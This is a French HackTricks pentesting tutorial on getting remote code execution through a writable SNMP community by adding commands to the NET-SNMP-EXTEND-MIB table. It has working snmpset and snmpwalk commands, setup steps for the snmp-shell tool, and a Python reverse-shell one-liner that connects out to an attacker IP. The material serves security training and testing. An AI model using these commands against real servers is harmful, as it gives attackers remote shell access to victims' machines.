tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

SNMP RCE

SNMP peut ĂȘtre exploitĂ© par un attaquant si l'administrateur nĂ©glige sa configuration par dĂ©faut sur le dispositif ou le serveur. En abusant de la communautĂ© SNMP avec des permissions d'Ă©criture (rwcommunity) sur un systĂšme d'exploitation Linux, l'attaquant peut exĂ©cuter des commandes sur le serveur.

Étendre les services avec des commandes supplĂ©mentaires

Pour Ă©tendre les services SNMP et ajouter des commandes supplĂ©mentaires, il est possible d'ajouter de nouvelles lignes Ă  la table "nsExtendObjects". Cela peut ĂȘtre rĂ©alisĂ© en utilisant la commande snmpset et en fournissant les paramĂštres nĂ©cessaires, y compris le chemin absolu vers l'exĂ©cutable et la commande Ă  exĂ©cuter :

bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Injection de commandes pour exécution

Injecter des commandes à exécuter sur le service SNMP nécessite l'existence et l'exécutabilité du binaire/script appelé. Le NET-SNMP-EXTEND-MIB impose de fournir le chemin absolu vers l'exécutable.

Pour confirmer l'exĂ©cution de la commande injectĂ©e, la commande snmpwalk peut ĂȘtre utilisĂ©e pour Ă©numĂ©rer le service SNMP. La sortie affichera la commande et ses dĂ©tails associĂ©s, y compris le chemin absolu :

bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Exécution des Commandes Injectées

Lorsque la commande injectĂ©e est lue, elle est exĂ©cutĂ©e. Ce comportement est connu sous le nom de run-on-read(). L'exĂ©cution de la commande peut ĂȘtre observĂ©e lors de la lecture avec snmpwalk.

Obtention d'un Shell Serveur avec SNMP

Pour prendre le contrĂŽle du serveur et obtenir un shell serveur, un script python dĂ©veloppĂ© par mxrch peut ĂȘtre utilisĂ© depuis https://github.com/mxrch/snmp-shell.git.

Alternativement, un shell inversĂ© peut ĂȘtre crĂ©Ă© manuellement en injectant une commande spĂ©cifique dans SNMP. Cette commande, dĂ©clenchĂ©e par le snmpwalk, Ă©tablit une connexion de shell inversĂ© Ă  la machine de l'attaquant, permettant le contrĂŽle de la machine de la victime. Vous pouvez installer les prĂ©requis pour exĂ©cuter cela :

bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Ou un shell inversé :

bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks